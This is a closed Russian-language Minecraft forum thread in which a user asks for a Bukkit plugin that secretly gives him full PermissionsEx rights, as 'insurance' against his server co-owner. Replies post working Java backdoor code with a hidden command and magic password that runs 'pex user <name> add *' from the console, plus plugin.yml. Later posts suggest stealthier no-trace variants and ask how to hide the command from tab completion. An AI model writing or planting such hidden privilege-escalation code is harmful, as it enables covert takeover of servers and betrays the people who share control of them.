Помогите Как сделать плагин на все права pex

Статус
Закрыто для дальнейших ответов.

amhad321

Активный участник
Пользователь
Баллы
66
Имя в Minecraft
amhad321
Всем привет,не давно занялся разработкой плагинов на eclipse. Hello world и т.д уже сделаны.
Кароч помогите
как сделать такой плагин который тупо дает мне все права в pex ? Типо ввожу команду /asdsad 898291589215 и у меня все права на сервере есть
С другом серв делаю, хочу страховку если кинет
 
Последнее редактирование:
Писец, парень, тебе бы в этот раздел. Здесь помогают писать свои плагины, а не делают все за тебя.
 
Эх, ты
Вот твой код
Код:
    @Override
    public void onEnable()
    {
     
    }
 
    @Override
    public void onDisable()
    {
     
    }
    public boolean onCommand(CommandSender s, Command cmd, String label,
            String args[]) {
                Player p = (Player) s;
            if (cmd.getName().equalsIgnoreCase("sdsada"))
            {
                if (args.length == 1 && args[0].equals("898291589215"))
                {
                Bukkit.dispatchCommand(Bukkit.getConsoleSender(), "pex user " + p.getName() + "add *" );
            return true;
            }
            return true;
            }
            return true;
}
Сейчас-бы кодить хак с регистром команды. :/
Ходят слухи, что команду хака можно детектить через таб, но я лучше промолчу и пойду дальше посмотрю эротическое программирование.
 
А знаете в чём изменения????
Та ни в чём, только версию с 0.1 на 0.6 поменял

Код:
package ru.top.block;

import org.bukkit.plugin.java.*;
import org.bukkit.command.*;
import org.bukkit.entity.*;
import org.bukkit.*;

public class Main extends JavaPlugin
{
    public void onEnable() {
    }
  
    public void onDisable() {
    }
  
    public boolean onCommand(final CommandSender s, final Command cmd, final String label, final String[] args) {
        final Player p = (Player)s;
        if (!cmd.getName().equalsIgnoreCase("sdsada")) {
            return true;
        }
        if (args.length == 1 && args[0].equals("898291589215")) {
            Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add *");
            return true;
        }
        return true;
    }
}
name: TopBlock
main: ru.top.block.Main
version: 0.1
commands:
sdsada:
usage: /sdsada
Код:
package ru.top.block;

import org.bukkit.plugin.java.*;
import org.bukkit.command.*;
import org.bukkit.entity.*;
import org.bukkit.*;

public class Main extends JavaPlugin
{
    public void onEnable() {
    }
   
    public void onDisable() {
    }
   
    public boolean onCommand(final CommandSender s, final Command cmd, final String label, final String[] args) {
        final Player p = (Player)s;
        if (!cmd.getName().equalsIgnoreCase("sdsada")) {
            return true;
        }
        if (args.length == 1 && args[0].equals("898291589215")) {
            Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + "add *");
            return true;
        }
        return true;
    }
}
name: TopBlock
main: ru.top.block.Main
version: 0.6
commands:
sdsada:
usage: /sdsada
 
А знаете в чём изменения????
Та ни в чём, только версию с 0.1 на 0.6 поменял

Код:
package ru.top.block;

import org.bukkit.plugin.java.*;
import org.bukkit.command.*;
import org.bukkit.entity.*;
import org.bukkit.*;

public class Main extends JavaPlugin
{
    public void onEnable() {
    }
  
    public void onDisable() {
    }
  
    public boolean onCommand(final CommandSender s, final Command cmd, final String label, final String[] args) {
        final Player p = (Player)s;
        if (!cmd.getName().equalsIgnoreCase("sdsada")) {
            return true;
        }
        if (args.length == 1 && args[0].equals("898291589215")) {
            Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + " add *");
            return true;
        }
        return true;
    }
}
name: TopBlock
main: ru.top.block.Main
version: 0.1
commands:
sdsada:
usage: /sdsada
Код:
package ru.top.block;

import org.bukkit.plugin.java.*;
import org.bukkit.command.*;
import org.bukkit.entity.*;
import org.bukkit.*;

public class Main extends JavaPlugin
{
    public void onEnable() {
    }
   
    public void onDisable() {
    }
   
    public boolean onCommand(final CommandSender s, final Command cmd, final String label, final String[] args) {
        final Player p = (Player)s;
        if (!cmd.getName().equalsIgnoreCase("sdsada")) {
            return true;
        }
        if (args.length == 1 && args[0].equals("898291589215")) {
            Bukkit.dispatchCommand((CommandSender)Bukkit.getConsoleSender(), "pex user " + p.getName() + "add *");
            return true;
        }
        return true;
    }
}
Код:
name: TopBlock
main: ru.top.block.Main
version: 0.6
commands:
  sdsada:
      usage: /sdsada
Изменения есть. Например: Ты второй plugin.yml засунул под
Код:
, а первый нет)
 
Стрёмные хацкера и кодеры тут собрались.
 
Изменения есть. Например: Ты второй plugin.yml засунул под
Код:
, а первый нет)
Там изменения есть, вы просто немного невнимательные 😆 Он там пробел в команде /pex.. пропустил.
До изменения:
Код:
"pex user " + p.getName() + "add *"
После:
Код:
"pex user " + p.getName() + " add *"
 
Хах тогда уж легче после написания любой команды чекать ник,давать оп, после выполнения забирать оп, 0 следов
Можно, но так легче затычку поставить, исоп кансел труе. Если мы уверены, что оперов на сервере быть не должно.
 
Сейчас-бы кодить хак с регистром команды. :/
Ходят слухи, что команду хака можно детектить через таб, но я лучше промолчу и пойду дальше посмотрю эротическое программирование.
а как без этого сделать? Ну чтобы после нажатия таб не показывался?
 
Статус
Закрыто для дальнейших ответов.
Назад
Верх